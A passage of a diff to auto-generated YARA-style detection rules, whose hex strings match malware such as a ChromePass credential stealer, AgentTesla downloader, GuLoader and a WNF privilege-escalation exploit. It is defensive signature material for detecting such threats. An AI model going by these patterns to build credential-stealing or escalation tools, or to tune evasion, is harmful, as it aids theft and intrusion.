72 6f 6d 65 50 61 73 73 00 02 00 0e 01 43 68 72 6f 6d 65 50 61 73 73 2e 70 64 62 01 00 07 81 01 4e 69 72 53 6f 66 74 01 00 2c 01 43 00 68 00 72 00 6f 00 6d 00 65 00 20 00 50 00 61 00 73 00 73 00 77 00 6f 00 } //16931 $a_00_1 = {73 00 20 00 4c 00 69 00 73 00 74 00 21 00 01 00 60 01 4c 00 6f 00 61 00 64 00 20 00 74 00 68 00 65 00 20 00 70 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 73 00 20 00 6f 00 66 00 20 00 74 00 68 00 65 00 20 00 63 00 75 00 72 00 72 00 65 00 6e 00 74 00 20 00 6c 00 6f 00 67 00 67 00 65 00 64 00 2d 00 } //114 - $a_00_2 = {20 00 75 00 73 00 65 00 72 00 01 00 20 01 75 73 65 72 6e 61 6d 65 5f 76 61 6c 75 65 2c 20 70 61 73 73 77 6f 72 64 5f 65 6c 65 6d 65 6e 74 00 00 78 f5 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 45 51 4e 21 4d 54 42 00 01 00 1c 03 0a } //111 - $a_6f_3 = {01 03 } //1546 ́ - $a_6f_4 = {01 03 0a 00 06 0b } //10 + $a_00_2 = {20 00 75 00 73 00 65 00 72 00 01 00 20 01 75 73 65 72 6e 61 6d 65 5f 76 61 6c 75 65 2c 20 70 61 73 73 77 6f 72 64 5f 65 6c 65 6d 65 6e 74 00 00 78 f5 00 00 05 00 05 00 04 00 21 23 50 55 41 3a 4f 6e 65 50 6c 61 74 66 6f 72 6d 5f 75 54 6f 72 72 65 6e 74 5f 42 75 6e 64 6c 65 72 00 02 00 24 01 63 00 6c 00 6f 00 75 00 64 00 66 00 72 } //111 + $a_00_4 = {6e 00 65 00 74 00 2f 00 7a 00 62 00 64 00 02 00 60 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 00 77 00 77 00 2e 00 62 00 69 00 } //116 condition: - ((#a_5f_0 & 1)*16931+(#a_00_1 & 1)*114+(#a_00_2 & 1)*111+(#a_6f_3 & 1)*1546+(#a_6f_4 & 1)*10) >=4 + ((#a_5f_0 & 1)*16931+(#a_00_1 & 1)*114+(#a_00_2 & 1)*111+(#a_00_4 & 1)*116) >=4 } -rule _InfrastructureShared_15768{ +rule _InfrastructureShared_16805{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_41_0 = {4f 6e 65 50 6c 61 74 66 6f 72 6d 5f 75 54 6f 72 72 65 6e 74 5f 42 75 6e 64 6c 65 72 00 02 00 24 01 63 00 6c 00 6f 00 75 00 64 00 66 00 72 00 6f 00 6e 00 74 00 2e 00 6e 00 65 00 74 00 2f 00 7a 00 62 00 64 00 02 00 60 01 68 00 74 00 74 00 70 00 73 00 3a 00 } //20515 + $a_00_1 = {77 00 77 00 77 00 2e 00 62 00 69 00 74 00 74 00 6f 00 72 00 72 00 65 00 6e 00 74 00 2e 00 63 00 6f 00 6d 00 2f 00 6c 00 65 00 67 00 61 00 6c } //47 + $a_00_3 = {76 00 61 00 63 00 79 00 2d 00 70 00 6f 00 6c 00 69 00 63 00 79 00 2f 00 01 00 1e 01 75 00 54 00 6f 00 72 00 72 00 65 00 6e 00 74 00 43 00 6c 00 61 00 73 00 73 00 69 00 63 00 01 00 18 01 75 00 54 00 6f 00 72 00 72 00 65 00 6e 00 74 00 5f 00 57 00 65 00 62 00 00 00 78 f5 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 } //114 + condition: + ((#a_41_0 & 1)*20515+(#a_00_1 & 1)*47+(#a_00_3 & 1)*114) >=5 + +} +rule _InfrastructureShared_16806{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -183863,7 +196201,7 @@ rule _InfrastructureShared_15768{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*66+(#a_75_3 & 1)*25938+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 } -rule _InfrastructureShared_15769{ +rule _InfrastructureShared_16807{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -183878,7 +196216,7 @@ rule _InfrastructureShared_15769{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29799+(#a_6e_2 & 1)*25449+(#a_67_3 & 1)*26478+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 } -rule _InfrastructureShared_15770{ +rule _InfrastructureShared_16808{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -183893,7 +196231,7 @@ rule _InfrastructureShared_15770{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28673+(#a_01_2 & 1)*28265+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=6 } -rule _InfrastructureShared_15771{ +rule _InfrastructureShared_16809{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -183909,7 +196247,7 @@ rule _InfrastructureShared_15771{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28484+(#a_2d_2 & 1)*28257+(#a_64_3 & 1)*24899+(#a_65_4 & 1)*29301+(#a_2d_5 & 1)*25143+(#a_63_6 & 1)*30063) >=7 } -rule _InfrastructureShared_15772{ +rule _InfrastructureShared_16810{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -183925,7 +196263,7 @@ rule _InfrastructureShared_15772{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*18295+(#a_65_2 & 1)*11890+(#a_36_3 & 1)*25396+(#a_72_4 & 1)*17247+(#a_01_5 & 1)*9472+(#a_81_6 & 1)*1) >=7 } -rule _InfrastructureShared_15773{ +rule _InfrastructureShared_16811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -183941,7 +196279,7 @@ rule _InfrastructureShared_15773{ ((#a_54_0 & 1)*18467+(#a_38_1 & 1)*25907+(#a_49_2 & 1)*29793+(#a_2d_3 & 1)*14388+(#a_73_4 & 1)*29230+(#a_61_5 & 1)*29550+(#a_65_6 & 1)*26988) >=7 } -rule _InfrastructureShared_15774{ +rule _InfrastructureShared_16812{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -183957,7 +196295,7 @@ rule _InfrastructureShared_15774{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*12387+(#a_73_2 & 1)*25458+(#a_54_3 & 1)*18467+(#a_61_4 & 1)*29742+(#a_69_5 & 1)*29545+(#a_47_6 & 1)*12851) >=7 } -rule _InfrastructureShared_15775{ +rule _InfrastructureShared_16813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -183967,45 +196305,29 @@ rule _InfrastructureShared_15775{ $a_69_2 = {69 01 00 12 81 01 65 66 74 65 72 62 65 68 61 6e 64 6c 69 6e 67 65 72 73 00 00 78 f5 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e } //29545 $a_47_3 = {6c 6f 61 64 65 72 2e 52 56 42 4a 30 31 21 4d 54 42 00 01 00 23 81 01 64 65 75 74 65 72 6f 66 69 62 72 69 6e 6f 73 65 5c 73 6b 69 6e 64 70 65 } //12851 $a_6e_4 = {5c 62 75 73 68 79 01 00 15 81 01 5c 70 6f 73 69 74 75 72 73 5c 53 65 61 73 68 65 6c 6c 31 37 36 01 00 1b 81 01 38 38 5c 69 6e 74 65 72 6e 75 6e 63 69 61 72 79 5c 63 6f 70 70 65 74 2e 73 65 6d 01 00 28 81 01 5c 68 65 6c 74 61 6c 73 69 6e 74 65 72 76 61 6c 6c 65 72 6e 65 5c 4b 75 6e 64 73 6b 61 62 73 72 } //29548 - $a_73_5 = {68 69 70 01 00 0d 81 01 53 6f 6c 6f 70 61 72 74 69 73 31 35 38 01 00 16 81 01 74 72 73 6b 65 6d 61 73 6b 69 6e 65 6e 20 6c 69 67 68 74 65 73 74 01 00 0b 81 01 6b 61 66 69 72 69 6e 2e 65 78 65 00 00 78 f5 00 00 07 00 07 00 08 00 21 23 41 4c 46 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f } //26473 - $a_74_6 = {6c 6c 42 72 61 69 6e 2e 52 47 31 30 00 01 00 11 80 01 67 65 74 5f 63 6f 6d 70 6f 6e 65 6e 74 5f 75 72 6c 01 00 14 80 01 69 73 5f 63 6f 6d 70 6f 6e 65 6e 74 5f 6f 66 66 65 72 65 64 01 00 15 80 01 69 73 5f 63 6f 6d 70 6f 6e 65 6e 74 5f 61 63 63 65 70 74 65 64 01 00 16 80 01 69 73 5f 63 6f 6d 70 6f 6e 65 6e 74 5f 69 6e 73 74 61 6c 6c 65 64 01 00 } //28233 + $a_73_5 = {68 69 70 01 00 0d 81 01 53 6f 6c 6f 70 61 72 74 69 73 31 35 38 01 00 16 81 01 74 72 73 6b 65 6d 61 73 6b 69 6e 65 6e 20 6c 69 67 68 74 65 73 74 01 00 0b 81 01 6b 61 66 69 72 69 6e 2e 65 78 65 00 00 78 f5 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 } //26473 + $a_2e_6 = {52 4d 21 4d 54 42 00 01 00 1d 81 01 5c 53 6b 61 6b 73 70 69 6c 6c 65 6e 65 31 34 34 5c 41 6e 61 72 74 68 72 6f 75 73 6c 79 01 00 0e 81 01 5c 77 65 62 73 69 64 65 72 73 2e 69 6e 69 01 00 22 81 01 5c 6e 69 74 72 6f 63 6f 74 74 6f 6e 5c 55 64 65 62 6c 69 76 65 6c 73 65 72 6e 65 73 39 34 2e 70 72 65 01 00 11 81 01 46 6f 72 73 6e 76 72 69 6e 67 } //25956 condition: - ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29742+(#a_69_2 & 1)*29545+(#a_47_3 & 1)*12851+(#a_6e_4 & 1)*29548+(#a_73_5 & 1)*26473+(#a_74_6 & 1)*28233) >=7 + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*29742+(#a_69_2 & 1)*29545+(#a_47_3 & 1)*12851+(#a_6e_4 & 1)*29548+(#a_73_5 & 1)*26473+(#a_2e_6 & 1)*25956) >=7 } -rule _InfrastructureShared_15776{ +rule _InfrastructureShared_16814{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 56 42 4a 30 31 21 4d 54 42 00 01 00 23 81 01 64 65 75 74 65 72 6f 66 69 62 72 69 6e 6f 73 65 5c 73 6b 69 6e 64 70 65 6c 73 65 6e 65 5c 62 75 73 68 79 01 00 15 81 01 5c 70 6f 73 69 74 75 72 73 5c 53 } //18467 $a_68_1 = {6c 6c 31 37 36 01 00 1b 81 01 38 38 5c 69 6e 74 65 72 6e 75 6e 63 69 61 72 79 5c 63 6f 70 70 65 74 2e 73 65 6d 01 00 28 81 01 5c 68 65 6c 74 61 6c 73 69 6e 74 65 72 76 61 6c 6c 65 72 6e 65 5c 4b 75 6e 64 73 6b 61 62 73 72 69 67 65 73 2e 68 69 70 01 00 0d 81 01 53 6f 6c 6f 70 61 72 74 69 73 31 35 38 01 00 16 81 01 74 72 73 6b 65 6d 61 73 6b 69 } //24933 - $a_20_2 = {69 67 68 74 65 73 74 01 00 0b 81 01 6b 61 66 69 72 69 6e 2e 65 78 65 00 00 78 f5 00 00 07 00 07 00 08 00 21 23 41 4c 46 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 49 6e 73 74 61 6c 6c 42 72 61 69 6e 2e 52 47 31 30 00 01 00 11 80 01 67 65 74 5f 63 6f 6d 70 6f 6e 65 6e 74 5f 75 72 6c 01 00 14 80 01 69 73 5f 63 6f } //25966 - $a_6e_3 = {6e 74 5f 6f 66 66 65 72 65 64 01 00 15 80 01 69 73 5f 63 6f 6d 70 6f 6e 65 6e 74 5f 61 63 63 65 70 74 65 64 01 00 16 80 01 69 73 5f 63 6f 6d 70 6f 6e 65 6e 74 5f 69 6e 73 74 61 6c 6c 65 64 01 00 15 80 01 67 65 74 5f 63 6f 75 6e 74 5f 6f 66 66 65 72 5f 70 61 67 65 73 01 00 0a 80 01 70 61 67 65 5f 6f 66 66 65 72 01 00 15 80 01 73 65 } //28781 - $a_6f_4 = {70 6f 6e 65 6e 74 5f 63 72 79 70 74 65 64 01 00 16 80 01 64 65 63 72 79 70 74 5f 63 6f 6d 70 6f 6e 65 6e 74 5f 66 69 6c 65 00 00 78 f5 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 4d 21 4d 54 42 00 01 00 1d 81 01 5c 53 6b 61 } //24436 - $a_69_5 = {6c 65 6e 65 31 34 34 5c 41 6e 61 72 74 68 72 6f 75 73 6c 79 01 00 0e 81 01 5c 77 65 62 73 69 64 65 72 73 2e 69 6e 69 01 00 22 81 01 5c 6e 69 74 72 6f 63 6f 74 74 6f 6e 5c 55 64 65 62 6c 69 76 65 6c 73 65 72 6e 65 73 39 34 2e 70 72 65 01 00 11 81 01 46 6f 72 73 6e 76 72 69 6e 67 65 72 73 2e 74 78 74 01 00 0d 81 01 49 6d 70 6f 72 74 72 } //29547 - $a_74_6 = {74 01 00 15 81 01 65 6e 65 61 6e 70 61 72 74 73 68 61 76 65 72 65 6e 2e 74 78 74 01 00 12 81 01 6d 61 61 6e 65 64 73 62 6c 61 64 65 6e 65 } //29285 + $a_20_2 = {69 67 68 74 65 73 74 01 00 0b 81 01 6b 61 66 69 72 69 6e 2e 65 78 65 00 00 78 f5 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 4d 21 4d 54 42 00 01 00 1d 81 01 5c 53 6b 61 6b 73 70 69 6c 6c 65 6e 65 31 34 34 5c 41 6e 61 72 74 68 72 6f 75 73 6c 79 01 00 0e 81 } //25966 + $a_65_3 = {73 69 64 65 72 73 2e 69 6e 69 01 00 22 81 01 5c 6e 69 74 72 6f 63 6f 74 74 6f 6e 5c 55 64 65 62 6c 69 76 65 6c 73 65 72 6e 65 73 39 34 2e 70 72 65 01 00 11 81 01 46 6f 72 73 6e 76 72 69 6e 67 65 72 73 2e 74 78 74 01 00 0d 81 01 49 6d 70 6f 72 74 72 65 72 2e 74 78 74 01 00 15 81 01 65 6e 65 61 6e 70 61 72 74 73 68 61 76 65 72 65 6e 2e 74 78 74 01 00 12 81 } //23553 + $a_61_4 = {65 64 73 62 6c 61 64 65 6e 65 2e 70 79 74 01 00 0e 81 01 74 72 65 65 6e 69 67 68 65 64 2e 74 78 74 00 00 78 f5 00 00 08 00 08 00 08 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 53 75 73 70 50 72 69 76 45 73 63 6c 2e 41 00 01 00 25 03 41 b8 a8 00 00 00 e8 90 01 04 33 d2 48 } //27905 + $a_50_5 = {b8 b8 00 00 00 e8 90 01 0b c7 90 01 03 0c 0b 57 6e 90 00 01 00 14 01 4e 74 43 72 65 61 74 65 57 6e 66 53 74 } //19597 + $a_4e_6 = {6d 65 01 00 14 01 4e 74 44 65 6c 65 74 65 57 6e 66 53 74 61 74 65 4e 61 6d 65 01 00 1e 01 4e 74 51 75 65 72 79 57 6e 66 53 74 61 74 65 4e 61 6d 65 49 6e 66 6f 72 6d 61 74 69 6f 6e 01 00 14 01 4e 74 55 70 64 61 74 65 57 6e 66 53 74 61 74 65 44 61 74 61 01 00 13 01 4e 74 51 75 65 72 79 57 6e 66 53 74 61 } //29793 condition: - ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*24933+(#a_20_2 & 1)*25966+(#a_6e_3 & 1)*28781+(#a_6f_4 & 1)*24436+(#a_69_5 & 1)*29547+(#a_74_6 & 1)*29285) >=7 + ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*24933+(#a_20_2 & 1)*25966+(#a_65_3 & 1)*23553+(#a_61_4 & 1)*27905+(#a_50_5 & 1)*19597+(#a_4e_6 & 1)*29793) >=7 } -rule _InfrastructureShared_15777{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 00 21 " - - strings : - $a_46_0 = {50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 49 6e 73 74 61 6c 6c 42 72 61 69 6e 2e 52 47 31 30 00 01 00 11 80 01 67 65 74 5f 63 6f 6d 70 6f 6e 65 6e 74 5f 75 72 6c 01 00 14 80 01 69 73 5f 63 6f 6d 70 6f 6e 65 6e 74 } //16675 - $a_66_1 = {72 65 64 01 00 15 80 01 69 73 5f 63 6f 6d 70 6f 6e 65 6e 74 5f 61 63 63 65 70 74 65 64 01 00 16 80 01 69 73 5f 63 6f 6d 70 6f 6e 65 6e 74 5f 69 6e 73 74 61 6c 6c 65 64 01 00 15 80 01 67 65 74 5f 63 6f 75 6e 74 5f 6f 66 66 65 72 5f 70 61 67 65 73 01 00 0a 80 01 70 61 67 65 5f 6f 66 66 65 72 01 00 15 80 01 } //28511 - $a_5f_2 = {6f 6d 70 6f 6e 65 6e 74 5f 63 72 79 70 74 65 64 01 00 16 80 01 64 65 63 72 79 70 74 5f 63 6f 6d 70 6f 6e 65 6e 74 5f 66 69 6c 65 00 00 78 f5 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 4d 21 4d 54 42 00 01 00 1d 81 01 5c 53 6b 61 6b 73 70 69 6c 6c 65 6e 65 31 34 34 5c 41 6e } //25971 - $a_68_3 = {6f 75 73 6c 79 01 00 0e 81 01 5c 77 65 62 73 69 64 65 72 73 2e 69 6e 69 01 00 22 81 01 5c 6e 69 74 72 6f 63 6f 74 74 6f 6e 5c 55 64 65 62 6c 69 76 65 6c 73 65 72 6e 65 73 39 34 2e 70 72 65 01 00 11 81 01 46 6f 72 73 6e 76 72 69 6e 67 65 72 73 2e 74 78 74 01 00 0d 81 01 49 6d 70 6f 72 74 72 65 72 2e 74 78 74 01 00 15 81 01 65 6e 65 61 6e 70 61 72 } //29281 - $a_61_4 = {65 72 65 6e 2e 74 78 74 01 00 12 81 01 6d 61 61 6e 65 64 73 62 6c 61 64 65 6e 65 2e 70 79 74 01 00 0e 81 01 74 72 65 65 6e 69 67 68 65 64 2e 74 78 74 00 00 78 f5 00 00 08 00 08 00 08 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 53 75 73 70 50 72 69 76 45 73 63 6c 2e 41 00 01 00 25 03 41 b8 a8 } //29556 - $a_d2_6 = {8d 4c 24 50 41 b8 b8 00 00 00 e8 90 01 0b c7 90 01 03 0c 0b 57 6e 90 00 01 00 14 01 4e 74 43 72 65 61 74 65 57 6e 66 53 74 61 74 65 4e 61 6d 65 01 00 14 } //1025 - $a_44_7 = {6c 65 74 65 57 6e 66 53 74 61 74 65 4e 61 6d 65 01 00 1e 01 4e 74 51 75 65 72 79 57 6e 66 53 74 61 74 65 4e 61 6d 65 49 6e 66 6f 72 6d 61 74 69 6f 6e 01 00 14 01 4e 74 55 70 64 61 74 65 57 6e 66 53 74 61 74 65 44 61 74 61 01 00 13 01 4e 74 51 75 65 72 79 57 6e 66 53 74 61 74 65 44 61 74 61 01 00 0b 01 4e 74 53 65 74 45 61 46 69 6c 65 01 00 0d 01 } //19969 - condition: - ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*28511+(#a_5f_2 & 1)*25971+(#a_68_3 & 1)*29281+(#a_61_4 & 1)*29556+(#a_d2_6 & 1)*1025+(#a_44_7 & 1)*19969) >=7 - -} -rule _InfrastructureShared_15778{ +rule _InfrastructureShared_16815{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -184021,7 +196343,7 @@ rule _InfrastructureShared_15778{ ((#a_54_0 & 1)*18467+(#a_69_2 & 1)*23553+(#a_6e_3 & 1)*25697+(#a_03_4 & 1)*-28473+(#a_90_5 & 1)*22283+(#a_75_6 & 1)*29774+(#a_00_7 & 1)*3) >=8 } -rule _InfrastructureShared_15779{ +rule _InfrastructureShared_16816{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -184036,7 +196358,7 @@ rule _InfrastructureShared_15779{ ((#a_4c_0 & 1)*21539+(#a_72_2 & 1)*29774+(#a_69_3 & 1)*24941+(#a_61_5 & 1)*29798+(#a_6f_6 & 1)*28524+(#a_49_7 & 1)*19770) >=8 } -rule _InfrastructureShared_15780{ +rule _InfrastructureShared_16817{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 05 00 21 " @@ -184049,7 +196371,7 @@ rule _InfrastructureShared_15780{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*25968+(#a_03_2 & 1)*25968+(#a_74_4 & 1)*18176) >=9 } -rule _InfrastructureShared_15781{ +rule _InfrastructureShared_16818{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -184067,7 +196389,7 @@ rule _InfrastructureShared_15781{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*1+(#a_74_2 & 1)*28528+(#a_58_3 & 1)*11873+(#a_6e_4 & 1)*30068+(#a_79_5 & 1)*25445+(#a_45_6 & 1)*29557+(#a_61_7 & 1)*25714+(#a_5c_8 & 1)*-32495) >=9 } -rule _InfrastructureShared_15782{ +rule _InfrastructureShared_16819{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -184083,7 +196405,7 @@ rule _InfrastructureShared_15782{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*20225+(#a_01_2 & 1)*1792+(#a_2c_3 & 1)*11+(#a_65_5 & 1)*385+(#a_01_6 & 1)*4864+(#a_70_7 & 1)*24916) >=9 } -rule _InfrastructureShared_15783{ +rule _InfrastructureShared_16820{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 08 00 0a 00 21 " @@ -184101,7 +196423,7 @@ rule _InfrastructureShared_15783{ ((#a_46_0 & 1)*16675+(#a_3c_1 & 1)*300+(#a_44_2 & 1)*-32496+(#a_74_3 & 1)*30313+(#a_6c_4 & 1)*26994+(#a_00_5 & 1)*112+(#a_00_7 & 1)*111+(#a_00_8 & 1)*111+(#a_2f_9 & 1)*18771) >=8 } -rule _InfrastructureShared_15784{ +rule _InfrastructureShared_16821{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -184118,7 +196440,7 @@ rule _InfrastructureShared_15784{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*26476+(#a_6e_2 & 1)*11891+(#a_00_3 & 1)*97+(#a_00_5 & 1)*32+(#a_32_6 & 1)*19019+(#a_6f_7 & 1)*2311+(#a_02_9 & 1)*-28662) >=10 } -rule _InfrastructureShared_15785{ +rule _InfrastructureShared_16822{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 04 00 21 " @@ -184129,7 +196451,7 @@ rule _InfrastructureShared_15785{ ((#a_77_0 & 1)*19491+(#a_00_2 & 1)*111) >=11 } -rule _InfrastructureShared_15786{ +rule _InfrastructureShared_16823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 04 00 21 " @@ -184142,7 +196464,7 @@ rule _InfrastructureShared_15786{ ((#a_54_0 & 1)*18467+(#a_07_1 & 1)*656+(#a_00_2 & 1)*656+(#a_90_3 & 1)*4127) >=12 } -rule _InfrastructureShared_15787{ +rule _InfrastructureShared_16824{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -184164,7 +196486,7 @@ rule _InfrastructureShared_15787{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*30819+(#a_6f_2 & 1)*30053+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*10+(#a_f5_8 & 1)*0+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1+(#a_80_11 & 1)*1+(#a_80_12 & 1)*1) >=13 } -rule _InfrastructureShared_15788{ +rule _InfrastructureShared_16825{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -184179,7 +196501,7 @@ rule _InfrastructureShared_15788{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*385+(#a_61_2 & 1)*29811+(#a_42_3 & 1)*19745+(#a_36_4 & 1)*29537+(#a_53_5 & 1)*-32763) >=15 } -rule _InfrastructureShared_15789{ +rule _InfrastructureShared_16826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -184194,7 +196516,7 @@ rule _InfrastructureShared_15789{ ((#a_54_0 & 1)*18467+(#a_0d_1 & 1)*5897+(#a_65_2 & 1)*384+(#a_00_3 & 1)*21581+(#a_75_4 & 1)*257+(#a_00_6 & 1)*101) >=16 } -rule _InfrastructureShared_15790{ +rule _InfrastructureShared_16827{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -184204,7 +196526,7 @@ rule _InfrastructureShared_15790{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_15791{ +rule _InfrastructureShared_16828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -184216,7 +196538,7 @@ rule _InfrastructureShared_15791{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*281+(#a_19_2 & 1)*1) >=1 } -rule _InfrastructureShared_15792{ +rule _InfrastructureShared_16829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -184229,7 +196551,7 @@ rule _InfrastructureShared_15792{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*28776+(#a_00_2 & 1)*47+(#a_3a_3 & 1)*21587) >=1 } -rule _InfrastructureShared_15793{ +rule _InfrastructureShared_16830{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -184244,7 +196566,7 @@ rule _InfrastructureShared_15793{ ((#a_54_0 & 1)*18467+(#a_e9_1 & 1)*-4815+(#a_d8_2 & 1)*8073+(#a_83_3 & 1)*-29951+(#a_33_4 & 1)*-12751+(#a_f2_5 & 1)*257) >=1 } -rule _InfrastructureShared_15794{ +rule _InfrastructureShared_16831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -184260,7 +196582,7 @@ rule _InfrastructureShared_15794{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-3711+(#a_00_3 & 1)*0+(#a_23_4 & 1)*2+(#a_54_5 & 1)*8499+(#a_09_6 & 1)*2560+(#a_01_7 & 1)*400) >=1 } -rule _InfrastructureShared_15795{ +rule _InfrastructureShared_16832{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -184271,7 +196593,7 @@ rule _InfrastructureShared_15795{ ((#a_54_0 & 1)*18467+(#a_08_1 & 1)*4356) >=2 } -rule _InfrastructureShared_15796{ +rule _InfrastructureShared_16833{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -184282,7 +196604,7 @@ rule _InfrastructureShared_15796{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*1759) >=2 } -rule _InfrastructureShared_15797{ +rule _InfrastructureShared_16834{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -184294,7 +196616,7 @@ rule _InfrastructureShared_15797{ ((#a_46_0 & 1)*16675+(#a_61_2 & 1)*30789+(#a_00_4 & 1)*65) >=2 } -rule _InfrastructureShared_15798{ +rule _InfrastructureShared_16835{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -184306,7 +196628,7 @@ rule _InfrastructureShared_15798{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*11408+(#a_2d_2 & 1)*14637) >=3 } -rule _InfrastructureShared_15799{ +rule _InfrastructureShared_16836{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -184318,7 +196640,7 @@ rule _InfrastructureShared_15799{ ((#a_46_0 & 1)*16675+(#a_30_1 & 